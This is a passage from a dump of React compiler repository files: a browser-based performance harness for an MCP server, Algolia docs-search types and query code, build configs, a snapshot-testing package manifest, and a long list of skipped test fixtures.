evaluationResult.webVitals[metric],\n        );\n      }\n    }\n\n    const profilerMetrics = [\n      'id',\n      'phase',\n      'actualDuration',\n      'baseDuration',\n      'startTime',\n      'commitTime',\n    ] as const;\n    for (const metric of profilerMetrics) {\n      if (evaluationResult.reactProfiler[metric] !== null) {\n        performanceResults.reactProfiler[metric].push(\n          evaluationResult.reactProfiler[metric],\n        );\n      }\n    }\n\n    performanceResults.error = evaluationResult.error;\n  }\n\n  await browser.close();\n\n  return performanceResults;\n}\n\nfunction buildHtml(transpiled: string) {\n  const html = `\n<!DOCTYPE html>\n<html>\n<head>\n  <meta charset=\"UTF-8\">\n  <title>React Performance Test</title>\n  <script crossorigin src=\"https://unpkg.com/react@18/umd/react.development.js\"></script>\n  <script crossorigin src=\"https://unpkg.com/react-dom@18/umd/react-dom.development.js\"></script>\n  <script src=\"https://unpkg.com/web-vitals@3.0.0/dist/web-vitals.iife.js\"></script>\n  <style>\n    body { margin: 0; }\n    #root { padding: 20px; }\n  </style>\n</head>\n<body>\n  <div id=\"root\"></div>\n  <script>\n    window.__RESULT__ = {\n      renderTime: null,\n      webVitals: {},\n      reactProfiler: {},\n      error: null,\n    };\n\n    webVitals.onCLS(({value}) => { window.__RESULT__.webVitals.cls = value; });\n    webVitals.onLCP(({value}) => { window.__RESULT__.webVitals.lcp = value; });\n    webVitals.onINP(({value}) => { window.__RESULT__.webVitals.inp = value; });\n    webVitals.onFID(({value}) => { window.__RESULT__.webVitals.fid = value; });\n    webVitals.onTTFB(({value}) => { window.__RESULT__.webVitals.ttfb = value; });\n\n    try {\n      ${transpiled}\n\n      window.App = App;\n\n      // Render the component to the DOM with profiling\n      const AppComponent = window.App || (() => React.createElement('div', null, 'No App component exported'));\n\n      const root = ReactDOM.createRoot(document.getElementById('root'), {\n        onUncaughtError: (error, errorInfo) => {\n          window.__RESULT__.error = error;\n        }\n      });\n\n      const renderStart = performance.now()\n\n      root.render(\n        React.createElement(React.Profiler, {\n          id: 'App',\n          onRender: (id, phase, actualDuration, baseDuration, startTime, commitTime) => {\n            window.__RESULT__.reactProfiler.id = id;\n            window.__RESULT__.reactProfiler.phase = phase;\n            window.__RESULT__.reactProfiler.actualDuration = actualDuration;\n            window.__RESULT__.reactProfiler.baseDuration = baseDuration;\n            window.__RESULT__.reactProfiler.startTime = startTime;\n            window.__RESULT__.reactProfiler.commitTime = commitTime;\n          }\n        }, React.createElement(AppComponent))\n      );\n\n      const renderEnd = performance.now();\n\n      window.__RESULT__.renderTime = renderEnd - renderStart;\n    } catch (error) {\n      console.error('Error rendering component:', error);\n      window.__RESULT__.error = error;\n    }\n  </script>\n  <script>\n    window.onerror = function(message, url, lineNumber) {\n      const formattedMessage = message + '@' + lineNumber;\n      if (window.__RESULT__.error && window.__RESULT__.error.message != null) {\n        window.__RESULT__.error = window.__RESULT__.error + '\\n\\n' + formattedMessage;\n      } else {\n        window.__RESULT__.error = message + formattedMessage;\n      }\n    };\n  </script>\n</body>\n</html>\n`;\n\n  return html;\n}\n"
  },
  {
    "path": "compiler/packages/react-mcp-server/src/types/algolia.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// https://github.com/algolia/docsearch/blob/15ebcba606b281aa0dddc4ccb8feb19d396bf79e/packages/docsearch-react/src/types/DocSearchHit.ts\ntype ContentType =\n  | 'content'\n  | 'lvl0'\n  | 'lvl1'\n  | 'lvl2'\n  | 'lvl3'\n  | 'lvl4'\n  | 'lvl5'\n  | 'lvl6';\n\ninterface DocSearchHitAttributeHighlightResult {\n  value: string;\n  matchLevel: 'full' | 'none' | 'partial';\n  matchedWords: string[];\n  fullyHighlighted?: boolean;\n}\n\ninterface DocSearchHitHighlightResultHierarchy {\n  lvl0: DocSearchHitAttributeHighlightResult;\n  lvl1: DocSearchHitAttributeHighlightResult;\n  lvl2: DocSearchHitAttributeHighlightResult;\n  lvl3: DocSearchHitAttributeHighlightResult;\n  lvl4: DocSearchHitAttributeHighlightResult;\n  lvl5: DocSearchHitAttributeHighlightResult;\n  lvl6: DocSearchHitAttributeHighlightResult;\n}\n\ninterface DocSearchHitHighlightResult {\n  content: DocSearchHitAttributeHighlightResult;\n  hierarchy: DocSearchHitHighlightResultHierarchy;\n  hierarchy_camel: DocSearchHitHighlightResultHierarchy[];\n}\n\ninterface DocSearchHitAttributeSnippetResult {\n  value: string;\n  matchLevel: 'full' | 'none' | 'partial';\n}\n\ninterface DocSearchHitSnippetResult {\n  content: DocSearchHitAttributeSnippetResult;\n  hierarchy: DocSearchHitHighlightResultHierarchy;\n  hierarchy_camel: DocSearchHitHighlightResultHierarchy[];\n}\n\nexport declare type DocSearchHit = {\n  objectID: string;\n  content: string | null;\n  url: string;\n  url_without_anchor: string;\n  type: ContentType;\n  anchor: string | null;\n  hierarchy: {\n    lvl0: string;\n    lvl1: string;\n    lvl2: string | null;\n    lvl3: string | null;\n    lvl4: string | null;\n    lvl5: string | null;\n    lvl6: string | null;\n  };\n  _highlightResult: DocSearchHitHighlightResult;\n  _snippetResult: DocSearchHitSnippetResult;\n  _rankingInfo?: {\n    promoted: boolean;\n    nbTypos: number;\n    firstMatchedWord: number;\n    proximityDistance?: number;\n    geoDistance: number;\n    geoPrecision?: number;\n    nbExactWords: number;\n    words: number;\n    filters: number;\n    userScore: number;\n    matchedGeoLocation?: {\n      lat: number;\n      lng: number;\n      distance: number;\n    };\n  };\n  _distinctSeqID?: number;\n  __autocomplete_indexName?: string;\n  __autocomplete_queryID?: string;\n  __autocomplete_algoliaCredentials?: {\n    appId: string;\n    apiKey: string;\n  };\n  __autocomplete_id?: number;\n};\n\nexport type InternalDocSearchHit = DocSearchHit & {\n  __docsearch_parent: InternalDocSearchHit | null;\n};\n"
  },
  {
    "path": "compiler/packages/react-mcp-server/src/utils/algolia.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport type {DocSearchHit, InternalDocSearchHit} from '../types/algolia';\nimport {liteClient, type Hit, type SearchResponse} from 'algoliasearch/lite';\n\n// https://github.com/reactjs/react.dev/blob/55986965fbf69c2584040039c9586a01bd54eba7/src/siteConfig.js#L15-L19\nconst ALGOLIA_CONFIG = {\n  appId: '1FCF9AYYAT',\n  apiKey: '1b7ad4e1c89e645e351e59d40544eda1',\n  indexName: 'beta-react',\n};\n\nexport const ALGOLIA_CLIENT = liteClient(\n  ALGOLIA_CONFIG.appId,\n  ALGOLIA_CONFIG.apiKey,\n);\n\nexport function printHierarchy(\n  hit: DocSearchHit | InternalDocSearchHit,\n): string {\n  let val = `${hit.hierarchy.lvl0} > ${hit.hierarchy.lvl1}`;\n  if (hit.hierarchy.lvl2 != null) {\n    val = val.concat(` > ${hit.hierarchy.lvl2}`);\n  }\n  if (hit.hierarchy.lvl3 != null) {\n    val = val.concat(` > ${hit.hierarchy.lvl3}`);\n  }\n  if (hit.hierarchy.lvl4 != null) {\n    val = val.concat(` > ${hit.hierarchy.lvl4}`);\n  }\n  if (hit.hierarchy.lvl5 != null) {\n    val = val.concat(` > ${hit.hierarchy.lvl5}`);\n  }\n  if (hit.hierarchy.lvl6 != null) {\n    val = val.concat(` > ${hit.hierarchy.lvl6}`);\n  }\n  return val;\n}\n\nexport async function queryAlgolia(\n  message: string | Array<string>,\n): Promise<Array<string>> {\n  const {results} = await ALGOLIA_CLIENT.search<DocSearchHit>({\n    requests: [\n      {\n        query: Array.isArray(message) ? message.join('\\n') : message,\n        indexName: ALGOLIA_CONFIG.indexName,\n        attributesToRetrieve: [\n          'hierarchy.lvl0',\n          'hierarchy.lvl1',\n          'hierarchy.lvl2',\n          'hierarchy.lvl3',\n          'hierarchy.lvl4',\n          'hierarchy.lvl5',\n          'hierarchy.lvl6',\n          'content',\n          'url',\n        ],\n        attributesToSnippet: [\n          `hierarchy.lvl1:10`,\n          `hierarchy.lvl2:10`,\n          `hierarchy.lvl3:10`,\n          `hierarchy.lvl4:10`,\n          `hierarchy.lvl5:10`,\n          `hierarchy.lvl6:10`,\n          `content:10`,\n        ],\n        snippetEllipsisText: '…',\n        hitsPerPage: 30,\n        attributesToHighlight: [\n          'hierarchy.lvl0',\n          'hierarchy.lvl1',\n          'hierarchy.lvl2',\n          'hierarchy.lvl3',\n          'hierarchy.lvl4',\n          'hierarchy.lvl5',\n          'hierarchy.lvl6',\n          'content',\n        ],\n      },\n    ],\n  });\n  const firstResult = results[0] as SearchResponse<DocSearchHit>;\n  const {hits} = firstResult;\n  const deduped = new Map();\n  for (const hit of hits) {\n    // drop hashes to dedupe properly\n    const u = new URL(hit.url);\n    if (deduped.has(u.pathname)) {\n      continue;\n    }\n    deduped.set(u.pathname, hit);\n  }\n  const pages: Array<string | null> = await Promise.all(\n    Array.from(deduped.values()).map(hit => {\n      return fetch(hit.url, {\n        headers: {\n          'User-Agent':\n            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36',\n        },\n      }).then(res => {\n        if (res.ok === true) {\n          return res.text();\n        } else {\n          console.error(\n            `Could not fetch docs: ${res.status} ${res.statusText}`,\n          );\n          return null;\n        }\n      });\n    }),\n  );\n  return pages.filter(page => page !== null);\n}\n"
  },
  {
    "path": "compiler/packages/react-mcp-server/src/utils/assertExhaustive.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n/**\n * Trigger an exhaustiveness check in TypeScript and throw at runtime.\n */\nexport default function assertExhaustive(_: never, errorMsg: string): never {\n  throw new Error(errorMsg);\n}\n"
  },
  {
    "path": "compiler/packages/react-mcp-server/todo.md",
    "content": "TODO\n\n- [ ] If code doesnt compile, read diagnostics and try again\n- [ ] Provide detailed examples in assistant prompt (use another LLM to generate good prompts, iterate from there)\n- [ ] Provide more tools for working with HIR/AST (eg so we can prompt it to try and optimize code via HIR, which it can then translate back into user code changes)\n"
  },
  {
    "path": "compiler/packages/react-mcp-server/tsconfig.json",
    "content": "{\n  \"extends\": \"@tsconfig/strictest/tsconfig.json\",\n  \"compilerOptions\": {\n    \"module\": \"Node16\",\n    \"moduleResolution\": \"Node16\",\n    \"rootDir\": \"../\",\n    \"noEmit\": true,\n    \"jsx\": \"react-jsxdev\",\n    \"lib\": [\"ES2022\"],\n\n    // weaken strictness from preset\n    \"importsNotUsedAsValues\": \"remove\",\n    \"noUncheckedIndexedAccess\": false,\n    \"noUnusedParameters\": false,\n    \"useUnknownInCatchVariables\": false,\n    \"target\": \"ES2022\",\n    // ideally turn off only during dev, or on a per-file basis\n    \"noUnusedLocals\": false,\n  },\n  \"exclude\": [\"node_modules\"],\n  \"include\": [\"src/**/*.ts\"],\n}\n"
  },
  {
    "path": "compiler/packages/react-mcp-server/tsup.config.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {defineConfig} from 'tsup';\n\nexport default defineConfig({\n  entry: ['./src/index.ts'],\n  outDir: './dist',\n  external: [],\n  splitting: false,\n  sourcemap: false,\n  dts: false,\n  bundle: true,\n  format: 'cjs',\n  platform: 'node',\n  target: 'es2022',\n  banner: {\n    js: `#!/usr/bin/env node\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @lightSyntaxTransform\n * @noflow\n * @nolint\n * @preventMunge\n * @preserve-invariant-messages\n */`,\n  },\n});\n"
  },
  {
    "path": "compiler/packages/snap/package.json",
    "content": "{\n  \"name\": \"snap\",\n  \"version\": \"0.0.1\",\n  \"public\": false,\n  \"description\": \"Snapshot testing CLI tool\",\n  \"main\": \"dist/main.js\",\n  \"license\": \"MIT\",\n  \"files\": [\n    \"src\"\n  ],\n  \"scripts\": {\n    \"postinstall\": \"./scripts/link-react-compiler-runtime.sh && perl -p -i -e 's/react\\\\.element/react.transitional.element/' ../../node_modules/fbt/lib/FbtReactUtil.js && perl -p -i -e 's/didWarnAboutUsingAct = false;/didWarnAboutUsingAct = true;/' ../../node_modules/react-dom/cjs/react-dom-test-utils.development.js\",\n    \"build\": \"rimraf dist && concurrently -n snap,runtime \\\"tsc --build\\\" \\\"yarn --silent workspace react-compiler-runtime build\\\"\",\n    \"snap\": \"node dist/main.js\",\n    \"test\": \"echo 'no tests'\",\n    \"prettier\": \"prettier --write 'src/**/*.ts'\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/facebook/react.git\",\n    \"directory\": \"compiler/packages/snap\"\n  },\n  \"dependencies\": {\n    \"@babel/code-frame\": \"^7.22.5\",\n    \"@babel/generator\": \"^7.19.1\",\n    \"@babel/plugin-syntax-jsx\": \"^7.18.6\",\n    \"@babel/preset-flow\": \"^7.7.4\",\n    \"@babel/preset-typescript\": \"^7.26.0\",\n    \"@parcel/watcher\": \"^2.1.0\",\n    \"@testing-library/react\": \"^13.4.0\",\n    \"babel-plugin-idx\": \"^3.0.3\",\n    \"babel-plugin-syntax-hermes-parser\": \"^0.25.1\",\n    \"chalk\": \"4\",\n    \"fbt\": \"^1.0.2\",\n    \"glob\": \"^10.3.10\",\n    \"hermes-parser\": \"^0.25.1\",\n    \"jsdom\": \"^22.1.0\",\n    \"react\": \"0.0.0-experimental-4beb1fd8-20241118\",\n    \"react-dom\": \"0.0.0-experimental-4beb1fd8-20241118\",\n    \"readline\": \"^1.3.0\",\n    \"yargs\": \"^17.7.1\",\n    \"zod\": \"^3.25.0 || ^4.0.0\",\n    \"zod-validation-error\": \"^3.5.0 || ^4.0.0\"\n  },\n  \"devDependencies\": {\n    \"@babel/core\": \"^7.19.1\",\n    \"@babel/parser\": \"^7.20.15\",\n    \"@babel/plugin-transform-modules-commonjs\": \"^7.18.6\",\n    \"@babel/preset-react\": \"^7.18.6\",\n    \"@babel/traverse\": \"^7.19.1\",\n    \"@types/babel__code-frame\": \"^7.0.6\",\n    \"@types/fbt\": \"^1.0.4\",\n    \"@types/glob\": \"^8.1.0\",\n    \"@types/node\": \"^18.7.18\",\n    \"@typescript-eslint/eslint-plugin\": \"^7.4.0\",\n    \"@typescript-eslint/parser\": \"^7.4.0\",\n    \"object-assign\": \"^4.1.1\"\n  },\n  \"resolutions\": {\n    \"./**/@babel/parser\": \"7.7.4\",\n    \"./**/@babel/types\": \"7.7.4\",\n    \"@babel/generator\": \"7.2.0\",\n    \"@babel/preset-flow\": \"7.22.5\"\n  }\n}\n"
  },
  {
    "path": "compiler/packages/snap/scripts/link-react-compiler-runtime.sh",
    "content": "#!/usr/bin/env bash\n# Copyright (c) Meta Platforms, Inc. and affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\nset -eo pipefail\n\nyarn --silent workspace react-compiler-runtime link\nyarn --silent workspace snap link react-compiler-runtime\n"
  },
  {
    "path": "compiler/packages/snap/src/SproutTodoFilter.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nconst skipFilter = new Set([\n  /**\n   * Observable different in logging between Forget and non-Forget\n   */\n  'early-return-no-declarations-reassignments-dependencies',\n\n  /**\n   * Category A:\n   * Tests with 0 parameters and 0 refs to external values\n   */\n  // TODO: fix invalid .set call\n  'assignment-variations-complex-lvalue-array',\n  // TODO: uses jsx (requires React)\n  'sketchy-code-rules-of-hooks',\n  // TODO: fix infinite loop\n  'ssa-for-trivial-update',\n  // TODO: fix infinite loop\n  'ssa-while-no-reassign',\n\n  /**\n   * Category B:\n   * Tests with at least one param and 0 refs to external values\n   */\n  'bug.useMemo-deps-array-not-cleared',\n  'capture_mutate-across-fns',\n  'capture-indirect-mutate-alias',\n  'capturing-arrow-function-1',\n  'capturing-func-mutate-3',\n  'capturing-func-mutate-nested',\n  'capturing-function-1',\n  'capturing-function-alias-computed-load',\n  'capturing-function-decl',\n  'capturing-function-skip-computed-path',\n  'capturing-function-within-block',\n  'capturing-member-expr',\n  'capturing-nested-member-call',\n  'capturing-nested-member-expr-in-nested-func',\n  'capturing-nested-member-expr',\n  'capturing-variable-in-nested-block',\n  'capturing-variable-in-nested-function',\n  'complex-while',\n  'component',\n  'cond-deps-conditional-member-expr',\n  'conditional-break-labeled',\n  'propagate-scope-deps-hir-fork/conditional-break-labeled',\n  'conditional-set-state-in-render',\n  'constant-computed',\n  'constant-propagation-phi',\n  'debugger-memoized',\n  'debugger',\n  'declare-reassign-variable-in-closure',\n  'delete-computed-property',\n  'delete-property',\n  'dependencies-outputs',\n  'dependencies',\n  'destructure-direct-reassignment',\n  'destructuring-array-default',\n  'destructuring-array-param-default',\n  'destructuring-assignment-array-default',\n  'destructuring-assignment',\n  'destructuring-object-default',\n  'destructuring-object-param-default',\n  'destructuring',\n  'disable-jsx-memoization',\n  'do-while-break',\n  'do-while-compound-test',\n  'dominator',\n  'early-return',\n  'escape-analysis-destructured-rest-element',\n  'escape-analysis-jsx-child',\n  'escape-analysis-logical',\n  'escape-analysis-non-escaping-interleaved-allocating-dependency',\n  'escape-analysis-non-escaping-interleaved-allocating-nested-dependency',\n  'escape-analysis-non-escaping-interleaved-primitive-dependency',\n  'escape-analysis-not-conditional-test',\n  'escape-analysis-not-if-test',\n  'escape-analysis-not-switch-case',\n  'escape-analysis-not-switch-test',\n  'expression-with-assignment-dynamic',\n  'extend-scopes-if',\n  'fbt/fbt-params',\n  'for-empty-update-with-continue',\n  'for-empty-update',\n  'for-logical',\n  'for-return',\n  'function-declaration-simple',\n  'function-param-assignment-pattern',\n  'globals-Boolean',\n  'globals-Number',\n  'globals-String',\n  'holey-array-pattern-dce-2',\n  'holey-array-pattern-dce',\n  'holey-array',\n  'independently-memoize-object-property',\n  'inverted-if-else',\n  'inverted-if',\n  'jsx-empty-expression',\n  'jsx-fragment',\n  'jsx-namespaced-name',\n  'lambda-mutated-non-reactive-to-reactive',\n  'lambda-mutated-ref-non-reactive',\n  'logical-expression-object',\n  'logical-expression',\n  'nested-function-shadowed-identifiers',\n  'nonoptional-load-from-optional-memberexpr',\n  'object-computed-access-assignment',\n  'object-expression-string-literal-key',\n  'object-literal-spread-element',\n  'object-pattern-params',\n  'optional-member-expression-chain',\n  'overlapping-scopes-interleaved-by-terminal',\n  'overlapping-scopes-interleaved',\n  'overlapping-scopes-shadowed',\n  'overlapping-scopes-shadowing-within-block',\n  'overlapping-scopes-while',\n  'overlapping-scopes-within-block',\n  'prop-capturing-function-1',\n  'reactive-scopes-if',\n  'reactive-scopes',\n  'reactivity-analysis-interleaved-reactivity',\n  'reassign-object-in-context',\n  'reassignment-separate-scopes',\n  'return-conditional',\n  'return-undefined',\n  'reverse-postorder',\n  'same-variable-as-dep-and-redeclare-maybe-frozen',\n  'same-variable-as-dep-and-redeclare',\n  'simple-scope',\n  'ssa-arrayexpression',\n  'ssa-for-of',\n  'ssa-multiple-phis',\n  'ssa-nested-loops-no-reassign',\n  'ssa-nested-partial-phi',\n  'ssa-nested-partial-reassignment',\n  'ssa-non-empty-initializer',\n  'ssa-objectexpression',\n  'ssa-property-alias-if',\n  'ssa-reassign',\n  'ssa-renaming-via-destructuring',\n  'ssa-renaming',\n  'ssa-sibling-phis',\n  'switch-with-fallthrough',\n  'ternary-assignment-expression',\n  'ternary-expression',\n  'trivial',\n  'type-args-test-binary-operator',\n  'type-cast-expression.flow',\n  'unary-expr',\n  'unconditional-break-label',\n  'unused-array-middle-element',\n  'unused-array-rest-element',\n  'unused-conditional',\n  'unused-logical',\n  'unused-object-element-with-rest',\n  'unused-object-element',\n  'useMemo-inlining-block-return',\n  'useMemo-inverted-if',\n  'useMemo-labeled-statement-unconditional-return',\n  'useMemo-logical',\n  'useMemo-nested-ifs',\n  'useMemo-switch-no-fallthrough',\n  'useMemo-switch-return',\n  'while-break',\n  'while-conditional-continue',\n  'while-logical',\n  'while-property',\n  'validate-no-set-state-in-render-uncalled-function-with-mutable-range-is-valid',\n  // Category B with multiple entrypoints,\n  'conditional-break',\n\n  /**\n   * Category C:\n   * Tests with at 0 params and at least one ref to external values\n   */\n  'alias-capture-in-method-receiver',\n  'alias-nested-member-path-mutate',\n  'concise-arrow-expr',\n  'const-propagation-into-function-expression-global',\n  'lambda-mutate-shadowed-object',\n  'fbt/lambda-with-fbt',\n  'recursive-function-expr',\n  'ref-current-aliased-no-added-to-dep',\n  'ref-current-field-not-added-to-dep',\n  'ref-current-not-added-to-dep',\n  'ref-current-optional-field-no-added-to-dep',\n  'ref-current-write-not-added-to-dep',\n  'rewrite-phis-in-lambda-capture-context',\n  'sketchy-code-exhaustive-deps',\n  'ssa-property-alias-mutate',\n  'ssa-property-mutate-2',\n  'ssa-property-mutate-alias',\n  'ssa-property-mutate',\n  'ssa-reassign-in-rval',\n  'store-via-call',\n  'store-via-new',\n  'tagged-template-literal',\n  'transitive-alias-fields',\n  'type-binary-operator',\n  'type-test-field-load-binary-op',\n  'type-test-polymorphic',\n  'type-test-return-type-inference',\n  'use-callback-simple',\n  // defines two functions\n  'simple-alias',\n\n  /**\n   * Category D:\n   * Tests with one or more params, with external references.\n   */\n  'alias-computed-load',\n  'allocating-primitive-as-dep',\n  'allow-passing-refs-as-props',\n  'array-at-closure',\n  'array-at-effect',\n  'array-at-mutate-after-capture',\n  'array-join',\n  'array-push-effect',\n  'assignment-in-nested-if',\n  'await-side-effecting-promise',\n  'await',\n  'builtin-jsx-tag-lowered-between-mutations',\n  'call-args-assignment',\n  'call-args-destructuring-assignment',\n  'call-with-independently-memoizable-arg',\n  'capture-param-mutate',\n  'capturing-function-conditional-capture-mutate',\n  'capturing-function-member-expr-arguments',\n  'capturing-function-member-expr-call',\n  'codegen-emit-imports-same-source',\n  'codegen-emit-make-read-only',\n  'computed-call-spread',\n  'computed-load-primitive-as-dependency',\n  'destructuring-mixed-scope-declarations-and-locals',\n  'destructuring-property-inference',\n  'do-while-conditional-break',\n  'do-while-early-unconditional-break',\n  'fbt/fbt-params-complex-param-value',\n  'function-expression-captures-value-later-frozen-jsx',\n  'function-expression-maybe-mutates-hook-return-value',\n  'function-expression-with-store-to-parameter',\n  'global-jsx-tag-lowered-between-mutations',\n  'hook-inside-logical-expression',\n  'immutable-hooks',\n  'inadvertent-mutability-readonly-class',\n  'inadvertent-mutability-readonly-lambda',\n  'infer-computed-delete',\n  'infer-property-delete',\n  'inner-memo-value-not-promoted-to-outer-scope-dynamic',\n  'inner-memo-value-not-promoted-to-outer-scope-static',\n  'issue852',\n  'jsx-member-expression-tag-grouping',\n  'jsx-member-expression',\n  'jsx-spread',\n  'lambda-capture-returned-alias',\n  'method-call-computed',\n  'method-call-fn-call',\n  'nested-optional-member-expr',\n  'nested-scopes-hook-call',\n  'new-spread',\n  'obj-literal-cached-in-if-else',\n  'obj-literal-mutated-after-if-else',\n  'obj-mutated-after-if-else-with-alias',\n  'obj-mutated-after-if-else',\n  'obj-mutated-after-nested-if-else-with-alias',\n  'object-properties',\n  'optional-call-chained',\n  'optional-call-logical',\n  'optional-call-simple',\n  'optional-call-with-independently-memoizable-arg',\n  'optional-call-with-optional-property-load',\n  'optional-call',\n  'optional-computed-load-static',\n  'optional-computed-member-expression',\n  'optional-member-expression-call-as-property',\n  'optional-member-expression-with-optional-member-expr-as-property',\n  'optional-member-expression',\n  'optional-method-call',\n  'optional-receiver-method-call',\n  'optional-receiver-optional-method',\n  'primitive-alias-mutate',\n  'primitive-as-dep',\n  'property-assignment',\n  'property-call-spread',\n  'reactive-dependencies-non-optional-properties-inside-optional-chain',\n  'reactivity-analysis-reactive-via-mutation-of-computed-load',\n  'reactivity-analysis-reactive-via-mutation-of-property-load',\n  'reassigned-phi-in-returned-function-expression',\n  'reassignment-conditional',\n  'reassignment',\n  'ref-current-aliased-not-added-to-dep-2',\n  'ref-current-not-added-to-dep-2',\n  'ref-in-effect',\n  'regexp-literal',\n  'remove-memoization-kitchen-sink',\n  'repro-reassign-to-variable-without-mutable-range',\n  'repro-scope-missing-mutable-range',\n  'repro',\n  'simple',\n  'ssa-property-alias-alias-mutate-if',\n  'ssa-property-alias-mutate-if',\n  'ssa-property-alias-mutate-inside-if',\n  'switch-global-propertyload-case-test',\n  'switch-non-final-default',\n  'switch',\n  'tagged-template-in-hook',\n  'temporary-accessed-outside-scope',\n  'temporary-at-start-of-value-block',\n  'temporary-property-load-accessed-outside-scope',\n  'timers',\n  'todo-function-expression-captures-value-later-frozen',\n  'uninitialized-declaration-in-reactive-scope',\n  'unknown-hooks-do-not-assert',\n  'unused-logical-assigned-to-variable',\n  'unused-optional-method-assigned-to-variable',\n  'unused-ternary-assigned-to-variable',\n  'useEffect-arg-memoized',\n  'useEffect-nested-lambdas',\n  'useMemo-if-else-multiple-return',\n  'useMemo-independently-memoizeable',\n  'useMemo-named-function',\n  'useMemo-return-empty',\n  'useMemo-simple',\n  'use-no-forget-module-level',\n  'use-no-memo-module-level',\n  // defines multiple functions\n  'alias-while',\n  'babel-existing-react-import',\n  'babel-existing-react-kitchensink-import',\n  'call',\n  'codegen-instrument-forget-test',\n  'conditional-on-mutable',\n  'constructor',\n  'frozen-after-alias',\n  'hook-call',\n  'hooks-freeze-arguments',\n  'hooks-freeze-possibly-mutable-arguments',\n  'independent-across-if',\n  'independent',\n  'interdependent-across-if',\n  'interdependent',\n  'mutable-liverange-loop',\n  'sequence-expression',\n  'ssa-call-jsx-2',\n  'ssa-call-jsx',\n  'ssa-newexpression',\n  'ssa-shadowing',\n  'template-literal',\n\n  // works, but appears differently when printing\n  // due to optional function argument\n  'nested-function-with-param-as-captured-dep',\n  'deeply-nested-function-expressions-with-params',\n\n  // TODO: we should be able to support these\n  'readonly-object-method-calls',\n  'readonly-object-method-calls-mutable-lambda',\n  'preserve-memo-validation/useMemo-with-refs.flow',\n\n  // TODO: we probably want to always skip these\n  'rules-of-hooks/rules-of-hooks-0592bd574811',\n  'rules-of-hooks/rules-of-hooks-0e2214abc294',\n  'rules-of-hooks/rules-of-hooks-1ff6c3fbbc94',\n  'rules-of-hooks/rules-of-hooks-23dc7fffde57',\n  'rules-of-hooks/rules-of-hooks-2bec02ac982b',\n  'rules-of-hooks/rules-of-hooks-2e405c78cb80',\n  'rules-of-hooks/rules-of-hooks-33a6e23edac1',\n  'rules-of-hooks/rules-of-hooks-347b0dae66f1',\n  'rules-of-hooks/rules-of-hooks-485bf041f55f',\n  'rules-of-hooks/rules-of-hooks-4f6c78a14bf7',\n  'rules-of-hooks/rules-of-hooks-7e52f5eec669',\n  'rules-of-hooks/rules-of-hooks-844a496db20b',\n  'rules-of-hooks/rules-of-hooks-8f1c2c3f71c9',\n  'rules-of-hooks/rules-of-hooks-9a47e97b5d13',\n  'rules-of-hooks/rules-of-hooks-9d7879272ff6',\n  'rules-of-hooks/rules-of-hooks-c1e8c7f4c191',\n  'rules-of-hooks/rules-of-hooks-c5d1f3143c4c',\n  'rules-of-hooks/rules-of-hooks-cfdfe5572fc7',\n  'rules-of-hooks/rules-of-hooks-df4d750736f3',\n  'rules-of-hooks/rules-of-hooks-dfde14171fcd',\n  'rules-of-hooks/rules-of-hooks-e5dd6caf4084',\n  'rules-of-hooks/rules-of-hooks-e66a744cffbe',\n  'rules-of-hooks/rules-of-hooks-eacfcaa6ef89',\n  'rules-of-hooks/rules-of-hooks-fe6042f7628b',\n  'infer-function-assignment',\n  'infer-functions-component-with-jsx',\n  'infer-function-forwardRef',\n  'infer-function-React-memo',\n  'infer-functions-component-with-hook-call',\n  'infer-functions-component-with-jsx',\n  'infer-functions-hook-with-hook-call',\n  'infer-functions-hook-with-jsx',\n  'infer-function-expression-component',\n  'infer-skip-components-without-hooks-or-jsx',\n  'class-component-with-render-helper',\n  'fbt/fbtparam-with-jsx-element-content',\n  'fbt/fbtparam-text-must-use-expression-container',\n  'fbt/fbtparam-with-jsx-fragment-value',\n  'todo.useContext-mutate-context-in-callback',\n  'loop-unused-let',\n  'reanimated-no-memo-arg',\n  'reanimated-shared-value-writes',\n\n  'userspace-use-memo-cache',\n  'transitive-freeze-function-expressions',\n\n  // nothing to compile/run\n  'gating/repro-no-gating-import-without-compiled-functions',\n\n  // TODOs\n  'rules-of-hooks/todo.bail.rules-of-hooks-279ac76f53af',\n  'rules-of-hooks/todo.bail.rules-of-hooks-28a78701970c',\n  'rules-of-hooks/todo.bail.rules-of-hooks-3d692676194b',\n  'rules-of-hooks/todo.bail.rules-of-hooks-6949b255e7eb',\n  'rules-of-hooks/todo.bail.rules-of-hooks-8503ca76d6f8',\n  'rules-of-hooks/todo.bail.rules-of-hooks-e0a5db3ae21e',\n  'rules-of-hooks/todo.bail.rules-of-hooks-e9f9bac89f8f',\n  'rules-of-hooks/todo.bail.rules-of-hooks-fadd52c1e460',\n  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-0a1dbff27ba0',\n  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-0de1224ce64b',\n  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-191029ac48c8',\n  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-206e2811c87c',\n  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-28a7111f56a7',\n  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-2c51251df67a',\n  'rules-of-hooks/todo.invalid.invalid-rules-of-hooks-449a37146a83',\n  